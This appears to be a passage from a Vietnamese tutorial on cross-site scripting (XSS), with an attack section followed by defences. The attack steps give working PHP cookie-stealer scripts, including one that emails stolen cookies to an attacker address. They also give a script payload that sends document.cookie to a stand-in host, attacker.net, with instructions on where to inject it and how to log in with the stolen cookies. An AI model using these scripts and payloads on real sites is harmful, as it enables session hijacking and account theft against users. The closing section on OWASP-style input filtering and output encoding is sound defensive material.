Trên đây là một số phương pháp check site lỗi XSS. Sau khi tìm được mục tiêu rùi,

công việc tiếp theo của chúng ta là tấn công.

5. Kĩ thuật tấn công

Để ăn cắp được cookie, ta có thể thực hiện theo các bước sau:

➘ Bước 1: tạo file ăn cắp cookie, có thể sử dụng ngôn ngữ php, asp…Tôi dùng

php để tạo 2 file Stealer.php và logs.txt

­ File Stealer.php có nội dung như sau:

<?php

$cookie = $HTTP_GET_VARS["cookie"];

$steal = fopen("logs.txt", "a");

fwrite($steal, $cookie ."\\n");

fclose($steal);

22

?>

­ Giải thích code trên:

$cookie = $HTTP_GET_VARS["cookie"];// Đánh cắp cookie từ địa chỉ

hiện tại url( stealer.php?cookie=x) và lưu trữ cookie trong biến $cookie

$steal = fopen("cookiefile.txt", "a"); // Mở cookiefile để đính kèm các

cookie được đánh cắp

fwrite($steal, $cookie ."\\n"); // Lưu lại những cookie được đánh cắp bên

trong file

fclose($steal); // Đóng lại cookie file

Ngoài ra, ta có thể sử dụng một trong những đoạn mã sau để thêm nhiều

nhiệm vụ hơn cho file stealer.php

<?php

$cookie = $_GET['c'];

$ip = getenv ('REMOTE_ADDR');

$date=date("j F, Y, g:i a");;

$referer=getenv ('HTTP_REFERER');

$fp = fopen('cookies.html', 'a');

fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date.

'<br> Referer: '.$referer.'<br><br><br>');

fclose($fp);

header ("Location: <ENTER WEBSITE HERE>");

?>

<?php

$cookie = $_GET['c'];

$ip = getenv ('REMOTE_ADDR');

$date=date("j F, Y, g:i a");;

$referer=getenv ('HTTP_REFERER');

$fp = fopen('cookies.html', 'a');

23

fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date.

'<br> Referer: '.$referer.'<br><br><br>');

fclose($fp);

header ("Location: <ENTER WEBSITE HERE>");

?>

<?php

$cookie = $HTTP_GET_VARS["cookie"];

mail("attacker@gmail.com", "Stolen Cookies", $cookie);

?> // đoạn mã này có tác dụng gửi cookies về email của attacker.

­ Ta tạo thêm 1 file logs.txt rỗng để lưu trữ toàn bộ thông tin của victim được

gửi về thông qua mệnh lện được đưa ra từ file Stealer.php

➘ Bước 2 : Ta chuẩn bị một hosting, sau đó up 2 file Stealer.php và logs.txt lên

host.

➘ Bước 3: Khai thác lỗ hổng XSS

­ Giả sử tôi up 2 file lên host site của tôi http://www.attacker.net , thì đoạn

script ăn cắp cookies có dạng như sau:

<script>location.href=’http://www.attacker.net/Stealer.php?

cookie=’+document.cookie;</script>

­ Chèn đoạn mã này vào site dính lỗi XSS là http://www.sitebiloi.com ta

được link tương tự như:

http://www.sitebiloi.com/index.php?page=<script>...</script>

Với đoạn code này thì trình duyệt sẽ thi hành đoạn code và sau đó sẽ

gửi toàn bộ cookie tới cho bạn ở dạng file .txt và bạn chỉ viêc mở file này ra

xem.

­ Hoặc chèn đoạn mã đó vào khung textbox, search hay comment nào đó,

khi victim view site thì cookies sẽ được gửi về cho attacker

<script>location.href=’http://www.attacker.net/Stealer.php?

cookie=’+document.cookie;</script>

24

­ Sau khi đã đánh cắp được thông tin cookies của victim, có thể sử dụng tiện

ích add-ons cookies manager hoặc live để login.

6. Phòng chống XSS

a) Phòng chống từ người thiết kế và phát triển Web:

Để phòng chống XSS một cách có hiệu quả thì trước tiên đòi hỏi người thiết kế

và phát triển các ứng dụng web phải biết áp dụng các biện pháp nâng cao tính bảo

mật, độ an toàn cho web, đảm bảo thông tin cho người sử dụng tránh được nguy cơ

từ việc đánh cắp tài khoản. Lỗ hổng XSS dựa vào những điểm yếu và thiễu sót trong

quá trình thiết kế và phát triển website, vì vậy nếu không quan tâm đúng mức vấn đề

xây dựng website an toàn thì sẽ gây ra tổn thất, nhất là đối với người dùng, làm niềm

tin của họ. Đặc biệt trong lĩnh vực thương mại điện tử hay tài chính ngân hàng thì

việc đảm bảo an toàn cho người dùng là hết sức quan trọng.

OWASP đã đưa ra một số giải pháp để xây dựng các website bảo mật cao

như sau:

­ Chỉ chấp nhận những dữ liệu hợp lệ theo như yêu câu trong công việc lập

trình web.

­ Liên tục kiểm tra và thanh lọc dữ liệu.

­ Xác định tính hợp lệ tất cả các headers, cookies, query string, form fields,

hidden fields theo đặc tả chi tiết và rõ rang.

­ Tạo ra danh sách những thẻ HTML được phép sử dụng, xóa bỏ thẻ

<script> hoặc đóng các thẻ scrip trong thẻ <comment> coi đoạn script như

một đoạn trích dẫn.

­ Lọc ra bất kí một đoạn mã JavaScript, VBScript, Flash Related.

­ Lọc dấu nháy đơn hay kép.

­ Xóa những kí tự “>”, “<” hay chuyển đổi các ký tự sau trong tất cả những

thẻ output sinh ra:

❧ “<” = “&lt”

❧ “>” = “&gt”

❧ “(“ = “&#40”

25

❧ “)” = “&#41”

❧ “#” = “&#35”

❧ “&” = “&#38”

­ Vẫn cho phép nhập các kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩn

riêng trước khi in ra. Có thể sử dụng một số chương trình viết bằng ngôn

ngữ PHP được thiết kế riêng để phòng chống lỗi XSS như bộ thư viện

HTML Purifier.

b) Đối với người dùng

Mục tiêu chính của tấn công XSS là nhằm vào người dùng để đánh cắp thông

tin cá nhân như username, password truy cập vào Web, có thể là tài khoản ngân

hàng, thẻ tín dụng. Vì thế ta cần chú ý những điều sau:

• Khi truy cập các trang web cần xem xét an toàn trước khi kích vào các

link. Trong email, không kích vào các link gửi đến từ địa chỉ không tin

cậy.

• Sử dụng những tính năng kiểm soát hoạt động của các Script từ Web

của trình duyệt.

• Lựa chọn một trình duyệt tốt như firefox, chrome, …thường xuyên cập

nhật các phiên bản mới để đảm bảo an toàn.

Khi lướt web, không nên kích vào những đường link không tin tưởng, bởi

những URL không đáng tin có thể tạo ra bởi những hacker và chuyển hướng

đến một số chỗ nguy hiểm.

26